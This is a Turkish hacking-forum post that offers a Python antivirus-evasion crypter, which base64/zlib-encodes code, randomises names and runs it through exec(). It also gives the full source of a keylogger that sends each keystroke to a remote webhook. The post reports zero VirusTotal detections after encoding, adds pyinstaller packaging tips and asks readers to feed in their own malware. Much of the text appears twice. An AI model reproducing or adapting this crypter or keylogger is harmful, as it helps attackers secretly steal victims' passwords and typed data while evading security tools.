- 4 Haz 2023
- 303
- 105
Merhabalar. Python kodunu base64 ile şifreleyen ve random değişken isimleri ile kodun antivirüslerin tarafından algılanmasını zorlaştıran (mevcut durumda 0/64) bir uygulama yazdım. Uygulama yazdığınız zararlı yazılımın kodunu direkt şifreler ve yeni bir dosya oluşturur. O dosyayı çalıştırmanız durumunda yine aynı işlevi görecektir.
FUD Yazılımı
Öncelikle herhangi bir yerde bir python dosyası oluşturun. Ardından dosyayı açın ve içine aşağıdaki kodu girin ve dosyayı kaydedin.
Şimdi bu kodu Python kullanarak çalıştırın. Karşınıza aşağıdaki ekran gelecektir.
![](https://i.hizliresim.com/835oyyo.jpg)
Şimdi zararlı yazılımınızın kodunu girin. Ben webhook kullanan bir keylogger kodunu girdim.
![](https://i.hizliresim.com/l782ya7.jpg)
Bunun ardından yazılım kodu çevirdi ve obfuscate_edilmis_kod.py şeklinde kaydetti. Şimdi ise VirusTotalda (VirusTotal kullanmanızda sakınca olabilir. Ben şu an dönüştürdüğüm keyloggerı kullanmayacağım için yükledim. Lütfen siz yüklemeyin.) dosyalarımızı test edelim.
Normal Keylogger Kodu:
Şifrelenmiş Kod:
Normal kodu yükledim. Ve sonucu: VirusTotal
Şifrelenmiş kodu yükledim. Ve sonucu:
Normal kodda pyspy olarak gözüken ve 12/65 tespit edilen zararlı yazılımımız şifrelenmiş kodda hiçbir antivirüs tarafından tespit edilemedi.
Program Notları:
Bu programda şifrelenmiş kodu direkt pyinstaller ile derlemeniz durumunda kod çalışmayacaktır. Bu sorunu şifrelenmiş kodu derlemeden önce zararlı yazılımda bulunan kütüphaneleri şifrelenmiş koda ekleyerek çözebilirsiniz. v3 sürümünde bu sorunu otomatik çözen bir fonksiyon ekleyeceğim.
Programın sonraki sürümleri için eklememi istediğiniz özellikleri aşağıya yazabilirsiniz.
FUD Yazılımı
Öncelikle herhangi bir yerde bir python dosyası oluşturun. Ardından dosyayı açın ve içine aşağıdaki kodu girin ve dosyayı kaydedin.
Python:
import base64
import zlib
import random
import string
def rastgele_string(uzunluk):
harfler = string.ascii_letters + string.digits
return ''.join(random.choice(harfler) for i in range(uzunluk))
# Kullanıcıdan alınan orijinal kod
orijinal_kod = input("Şifrelenmesi gereken kodu girin:\n")
# Kodu sıkıştır ve base64 ile encode et
sikistirilmis_kod = zlib.compress(orijinal_kod.encode())
encoded_kod = base64.b64encode(sikistirilmis_kod).decode()
# Decode ve dekompres fonksiyonları
decode_fonksiyonu = '''
import base64
import zlib
encoded_kod = "{}"
sikistirilmis_kod = base64.b64decode(encoded_kod)
orijinal_kod = zlib.decompress(sikistirilmis_kod).decode()
exec(orijinal_kod)
'''.format(encoded_kod)
# Rastgele değişken adları kullan
obfuscate_edilmis_kod = decode_fonksiyonu.replace('encoded_kod', rastgele_string(10)).replace('sikistirilmis_kod', rastgele_string(10)).replace('orijinal_kod', rastgele_string(10))
# Obfuscate edilmiş kodu dosyaya yaz
with open("obfuscate_edilmis_kod.py", "w") as f:
f.write(obfuscate_edilmis_kod)
print("Kod obfuscate edildi ve 'obfuscate_edilmis_kod.py' dosyasına kaydedildi.")
Şimdi bu kodu Python kullanarak çalıştırın. Karşınıza aşağıdaki ekran gelecektir.
![](https://i.hizliresim.com/835oyyo.jpg)
Şimdi zararlı yazılımınızın kodunu girin. Ben webhook kullanan bir keylogger kodunu girdim.
![](https://i.hizliresim.com/l782ya7.jpg)
Bunun ardından yazılım kodu çevirdi ve obfuscate_edilmis_kod.py şeklinde kaydetti. Şimdi ise VirusTotalda (VirusTotal kullanmanızda sakınca olabilir. Ben şu an dönüştürdüğüm keyloggerı kullanmayacağım için yükledim. Lütfen siz yüklemeyin.) dosyalarımızı test edelim.
Normal Keylogger Kodu:
Python:
import pynput.keyboard
import requests
# Webhook URL
WEBHOOK_URL = 'VirusTotalde burada url vardı. Ben burada webhook paylaşmak istemediğimden linki sildim.'
class Keylogger:
def __init__(self):
self.log = ""
def update_log(self, key_str):
if key_str == 'Key.backspace':
self.log = self.log[:-1]
else:
self.log += key_str
self.send_log()
def send_log(self):
payload = {'content': self.log}
requests.post(WEBHOOK_URL, data=payload)
def on_press(self, key):
try:
key_str = key.char
except AttributeError:
if key == key.space:
key_str = ' '
elif key == key.backspace:
key_str = 'Key.backspace'
else:
key_str = ' ' + str(key) + ' '
self.update_log(key_str)
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.on_press)
with keyboard_listener:
keyboard_listener.join()
if __name__ == "__main__":
keylogger = Keylogger()
keylogger.start()
Şifrelenmiş Kod:
Python:
import base64
import zlib
VlogfwDlnq = "eJzLzC3ILypRKKjMKygt0ctOrUzKTyxKAQBm9Qjr"
Yb2bluZnS4 = base64.b64decode(VlogfwDlnq)
lBfylteg01 = zlib.decompress(Yb2bluZnS4).decode()
exec(lBfylteg01)
Şifrelenmiş kodu yükledim. Ve sonucu:
Normal kodda pyspy olarak gözüken ve 12/65 tespit edilen zararlı yazılımımız şifrelenmiş kodda hiçbir antivirüs tarafından tespit edilemedi.
Program Notları:
Bu programda şifrelenmiş kodu direkt pyinstaller ile derlemeniz durumunda kod çalışmayacaktır. Bu sorunu şifrelenmiş kodu derlemeden önce zararlı yazılımda bulunan kütüphaneleri şifrelenmiş koda ekleyerek çözebilirsiniz. v3 sürümünde bu sorunu otomatik çözen bir fonksiyon ekleyeceğim.
Programın sonraki sürümleri için eklememi istediğiniz özellikleri aşağıya yazabilirsiniz.
Son düzenleme: